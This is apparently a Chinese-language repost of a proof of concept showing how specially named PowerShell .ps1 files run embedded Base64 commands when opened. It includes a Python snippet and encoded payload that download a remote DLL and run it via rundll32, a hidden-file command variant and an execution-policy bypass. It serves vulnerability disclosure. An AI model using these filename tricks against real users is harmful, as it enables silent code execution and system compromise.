未修复的 Windows PowerShell 文件名代码执行 POC
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/hyp3rlinx/PSTrojanFile
PSTrojanFile
相关技术点
- PowerShell:一种基于任务管理器的命令行外壳和脚本语言,可用于自动化配置管理、任务自动化和创建管理工具
- Base64:一种用于将二进制数据编码为ASCII字符的编码方法
- DLL:动态链接库,是一些可以被不同程序同时使用的代码和数据的集合
- rundll32:Windows系统中的一个可执行文件,用于运行DLL文件中导出的函数
- Python:一种解释性、面向对象、动态数据类型的高级编程语言
项目用途
PSTrojanFile是一种通过特殊命名的文件名实现远程代码执行的漏洞利用技术。该项目提供了一种使用 PowerShell 脚本语言和 Base64 编码构造特殊文件名的方法,使用户可通过双击、拖放等方式执行恶意代码,实现攻击者控制受害者计算机的目的。该技术可用于攻击Windows系统中的 PowerShell 脚本,执行远程DLL文件或本地文本文件中的恶意代码,并可通过 Python 脚本实现自动化构造与执行。该技术依赖于 PowerShell 的许多特定功能,包括saps、gc、Start-Process等命令,以及Windows系统中的 DLL 执行器rundll32。该漏洞已被发现并报告给 Microsoft,但目前尚未得到解决。
PSTrojanFile
Windows PowerShell 文件名代码执行 POC
发现者:John Page(又名hyp3rlinx)2019年并重新审视2023年
由于它仍然有效,我打扫了一下并进行了小改进:
1)使用rundll32执行远程DLL 2)执行意外的次要PS1脚本或本地文本文件(可以隐藏) 3)更新了PS1特洛伊木马文件名创建器Python3脚本
自2019年首次向Microsoft报告以来,到撰写本文时,该漏洞仍未修复。
通过特殊制作的文件名进行远程代码执行。
该漏洞是由于分号“;”,我们可以解码Base64命令并直接从PS1文件名中执行或执行命令。
测试;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
立即调用命令
“Testing; saps(gc-)PoC;.ps1”
向量:双击,拖放到PS快捷方式
利用替代简写的PS命令,如“saps”,“gc”启动进程并获取内容等。
DLL执行示例:
创建一个特洛伊木马PS1文件,该文件将尝试下载并执行名为“1.d”的远程DLL
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
DLL代码:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
双击特洛伊木马PS1文件。
文本文件代码执行示例:
创建一个名称包含saps“启动进程”和gc“获取内容”的PS1文件,这将从隐藏文件中读取命令。
“Test;saps(gc-)PoC;.ps1”
创建隐藏:attrib +s +h“-”
双击或拖放。
要求:
a) PowerShell PS1文件必须设置为默认使用PowerShell打开的程序
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c)用户必须双击,从命令行运行或拖放恶意命名的PS1脚本
https://www.youtube.com/watch?v=-ZJnA70Cf4I
